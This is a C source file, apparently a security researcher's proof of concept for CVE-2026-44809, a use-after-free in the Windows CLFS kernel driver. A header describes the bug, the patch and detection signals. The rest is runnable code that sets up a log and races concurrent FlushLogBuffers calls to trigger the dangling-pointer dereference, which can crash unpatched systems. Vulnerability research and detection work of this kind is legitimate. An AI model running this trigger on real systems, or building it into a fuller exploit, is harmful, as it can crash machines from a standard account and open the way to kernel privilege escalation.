/*
 * CVE-2026-44809 — CLFS clfs.sys Use-After-Free in FlushLog Trigger PoC
 *
 * PURPOSE: Confirms the vulnerability exists by triggering the use-after-free
 *          in FlushLog's cleanup path via concurrent flush operations.
 *          Does NOT implement exploitation (no stack spray, no token swap).
 *
 * EFFECT:  On unpatched systems: BSOD (with Driver Verifier) or silent
 *          dangling-pointer dereference (without). On patched systems (with
 *          Feature_3035089211 enabled): the pointer at this+0x548 is nulled
 *          before ReleaseFlushRef, preventing the UAF.
 *
 * BUILD (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_44809.c /link clfsw32.lib kernel32.lib
 *
 * RUN:     poc_cve_2026_44809.exe  (standard user, non-production VM only)
 *
 * Vulnerability:
 *   CClfsLogFcbPhysical::FlushLog stores a pointer to a local stack variable
 *   (&local_58) at this+0x548. On function exit (normal or exception), it calls
 *   ReleaseFlushRef without nulling this+0x548 first. After the stack frame goes
 *   out of scope, this+0x548 still references dead stack memory. A concurrent
 *   operation that accesses this+0x548 dereferences freed/reused stack memory.
 *
 * Patch (KB5094126, June 2026):
 *   FlushLog and fin$0 now check Feature_3035089211 and, if enabled:
 *     if (*(this + 0x548) == &local_58)
 *       *(this + 0x548) = 0;
 *   This nulls the dangling pointer before ReleaseFlushRef runs.
 *
 * Call chain:
 *   Thread 1:
 *     CreateLogFile()      → opens BLF
 *     FlushLogBuffers()    → calls FlushLog
 *       → stores &local_58 at this+0x548
 *       → [flush operations]
 *       → ReleaseFlushRef()  // refcount-- (pointer NOT nulled pre-patch)
 *       → return             // stack frame dies, this+0x548 = dangling
 *   Thread 2:
 *     [concurrent operation] → accesses this+0x548 → UAF
 *
 * Detection opportunities:
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - Sysmon Event 8:  CreateRemoteThread for race setup
 *   - YARA: PE with CreateLogFile + FlushLogBuffers + CreateThread
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-44809
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#include <windows.h>
#include <clfsw32.h>
#include <clfsmgmtw32.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "clfsw32.lib")

/* ------------------------------------------------------------------ */
/* Globals for thread synchronization                                  */
/* ------------------------------------------------------------------ */

static HANDLE g_hLog = INVALID_HANDLE_VALUE;
static PVOID g_marshal_ctx = NULL;
static HANDLE g_start_event = NULL;
static volatile LONG g_stop = 0;
static volatile LONG g_flush_count = 0;
static volatile LONG g_error_count = 0;

#define RACE_THREADS    4
#define RACE_ITERATIONS 1000

static void print_last_error(const char *context)
{
    DWORD err = GetLastError();
    char *msg = NULL;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
                   NULL, err, 0, (LPSTR)&msg, 0, NULL);
    printf("[!] %s failed: %lu (0x%08lX) — %s",
           context, err, err, msg ? msg : "unknown\n");
    if (msg) LocalFree(msg);
}

/* ------------------------------------------------------------------ */
/* Flush worker thread — races FlushLogBuffers concurrently            */
/* ------------------------------------------------------------------ */

static DWORD WINAPI flush_worker(LPVOID param)
{
    int thread_id = (int)(ULONG_PTR)param;
    DWORD err;

    /* Wait for all threads to start simultaneously */
    WaitForSingleObject(g_start_event, INFINITE);

    printf("[T%d] Starting flush race...\n", thread_id);

    for (int i = 0; i < RACE_ITERATIONS && !g_stop; i++) {
        /*
         * Call FlushLogBuffers concurrently from multiple threads.
         * Each call enters FlushLog, which:
         *   1. Stores &local_58 at this+0x548
         *   2. Performs flush operations
         *   3. Calls ReleaseFlushRef (without nulling this+0x548)
         *   4. Returns (stack frame dies, this+0x548 = dangling)
         *
         * With multiple threads racing, Thread B can access this+0x548
         * while Thread A's stack frame has already gone out of scope,
         * causing a use-after-free dereference.
         */
        if (!FlushLogBuffers(g_marshal_ctx, NULL)) {
            err = GetLastError();
            InterlockedIncrement(&g_error_count);

            if (err == ERROR_LOG_FULL || err == ERROR_IO_PENDING) {
                /* Expected under concurrent flush pressure */
                continue;
            }
            if (err == ERROR_INVALID_PARAMETER) {
                printf("[T%d] Got ERROR_INVALID_PARAMETER — patch may be active\n", thread_id);
                continue;
            }
            if (err == ERROR_LOG_CORRUPT) {
                printf("[T%d] Got ERROR_LOG_CORRUPT — possible corruption detected\n", thread_id);
                InterlockedExchange(&g_stop, 1);
                break;
            }
        } else {
            InterlockedIncrement(&g_flush_count);
        }

        /* Small yield to vary thread interleaving */
        if (i % 50 == 0) SwitchToThread();
    }

    printf("[T%d] Done: %ld flushes, %ld errors\n",
           thread_id, g_flush_count, g_error_count);
    return 0;
}

/* ------------------------------------------------------------------ */
/* Write worker — produces log records during the race                 */
/* ------------------------------------------------------------------ */

static DWORD WINAPI write_worker(LPVOID param)
{
    CLFS_LSN lsn;
    BYTE record_data[256];
    CLFS_WRITE_ENTRY write_entry;

    WaitForSingleObject(g_start_event, INFINITE);

    printf("[W] Starting write worker...\n");
    memset(record_data, 'C', sizeof(record_data));
    write_entry.Buffer = record_data;
    write_entry.ByteLength = sizeof(record_data);

    for (int i = 0; i < RACE_ITERATIONS * 2 && !g_stop; i++) {
        if (!ReserveAndAppendLog(
                g_marshal_ctx,
                &write_entry, 1,
                NULL, NULL,
                0, NULL,
                CLFS_FLAG_FORCE_APPEND,
                &lsn, NULL)) {
            /* Expected failures under concurrent pressure */
            if (GetLastError() == ERROR_LOG_FULL) {
                SwitchToThread();
                continue;
            }
        }

        if (i % 100 == 0) SwitchToThread();
    }

    printf("[W] Write worker done\n");
    return 0;
}

/* ------------------------------------------------------------------ */
/* Main                                                                */
/* ------------------------------------------------------------------ */

int wmain(int argc, WCHAR *argv[])
{
    WCHAR log_path[MAX_PATH];
    WCHAR container_path[MAX_PATH];
    WCHAR blf_raw_path[MAX_PATH];
    WCHAR temp_dir[MAX_PATH];
    ULONGLONG container_size = 2 * 1024 * 1024;  /* 2 MB */
    HANDLE threads[RACE_THREADS + 1];  /* +1 for write worker */
    CLFS_LSN lsn;
    BYTE seed_data[256];
    CLFS_WRITE_ENTRY seed_entry;

    printf("=== CVE-2026-44809 Trigger PoC ===\n");
    printf("=== CLFS Use-After-Free in FlushLog Cleanup ===\n");
    printf("=== FOR DEFENSIVE RESEARCH ONLY ===\n\n");

    GetTempPathW(MAX_PATH, temp_dir);

    swprintf_s(log_path, MAX_PATH, L"LOG:%spoc_44809.blf", temp_dir);
    swprintf_s(container_path, MAX_PATH, L"%spoc_44809_container.blf", temp_dir);
    swprintf_s(blf_raw_path, MAX_PATH, L"%spoc_44809.blf", temp_dir);

    printf("[*] Log path:       %ls\n", log_path);
    printf("[*] Container path: %ls\n\n", container_path);

    /* ---- Phase 1: Set up the log ---- */

    printf("[*] Phase 1: Creating log with container\n");

    g_hLog = CreateLogFile(
        log_path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (g_hLog == INVALID_HANDLE_VALUE) {
        print_last_error("CreateLogFile");
        return 1;
    }

    if (!AddLogContainer(g_hLog, &container_size, container_path, NULL)) {
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            print_last_error("AddLogContainer");
            CloseHandle(g_hLog);
            return 1;
        }
    }

    if (!CreateLogMarshallingArea(
            g_hLog, NULL, NULL, NULL, NULL,
            4096, 0, 0, &g_marshal_ctx)) {
        print_last_error("CreateLogMarshallingArea");
        CloseHandle(g_hLog);
        return 1;
    }

    /* Seed some records to establish flush state */
    memset(seed_data, 'A', sizeof(seed_data));
    seed_entry.Buffer = seed_data;
    seed_entry.ByteLength = sizeof(seed_data);

    for (int i = 0; i < 16; i++) {
        ReserveAndAppendLog(
            g_marshal_ctx, &seed_entry, 1,
            NULL, NULL, 0, NULL,
            CLFS_FLAG_FORCE_APPEND, &lsn, NULL);
    }
    FlushLogBuffers(g_marshal_ctx, NULL);

    printf("[+] Log created and seeded with 16 records\n");

    /* ---- Phase 2: Race FlushLogBuffers from multiple threads ---- */

    printf("\n[*] Phase 2: Racing %d flush threads + 1 write thread\n", RACE_THREADS);
    printf("[!] WARNING: On unpatched systems this may BSOD!\n\n");

    g_start_event = CreateEventW(NULL, TRUE, FALSE, NULL);  /* Manual-reset */

    /* Create flush worker threads */
    for (int i = 0; i < RACE_THREADS; i++) {
        threads[i] = CreateThread(NULL, 0, flush_worker,
                                  (LPVOID)(ULONG_PTR)i, 0, NULL);
        if (!threads[i]) {
            print_last_error("CreateThread (flush)");
            goto cleanup;
        }
    }

    /* Create write worker thread */
    threads[RACE_THREADS] = CreateThread(NULL, 0, write_worker, NULL, 0, NULL);
    if (!threads[RACE_THREADS]) {
        print_last_error("CreateThread (write)");
        goto cleanup;
    }

    /* Signal all threads to start simultaneously */
    printf("[*] Starting race...\n");
    SetEvent(g_start_event);

    /* Wait for all threads to complete */
    WaitForMultipleObjects(RACE_THREADS + 1, threads, TRUE, 30000);

    printf("\n[*] Race complete: %ld successful flushes, %ld errors\n",
           g_flush_count, g_error_count);

    if (g_stop) {
        printf("[!] Race stopped early — possible corruption or crash detected\n");
        printf("[!] SYSTEM MAY BE VULNERABLE to CVE-2026-44809\n");
    } else {
        printf("[*] Race completed without crash.\n");
        printf("[*] If Driver Verifier is enabled, check for pool corruption warnings.\n");
        printf("[*] On patched systems, Feature_3035089211 nulls this+0x548 before\n");
        printf("    ReleaseFlushRef, preventing the dangling pointer.\n");
    }

cleanup:
    /* Clean up threads */
    for (int i = 0; i <= RACE_THREADS; i++) {
        if (threads[i]) CloseHandle(threads[i]);
    }
    if (g_start_event) CloseHandle(g_start_event);

    /* Clean up log */
    if (g_marshal_ctx) DeleteLogMarshallingArea(g_marshal_ctx);
    if (g_hLog != INVALID_HANDLE_VALUE) CloseHandle(g_hLog);

    /* Remove files */
    printf("\n[*] Cleaning up...\n");
    DeleteFileW(blf_raw_path);
    DeleteFileW(container_path);

    printf("[+] Done.\n");
    return 0;
}
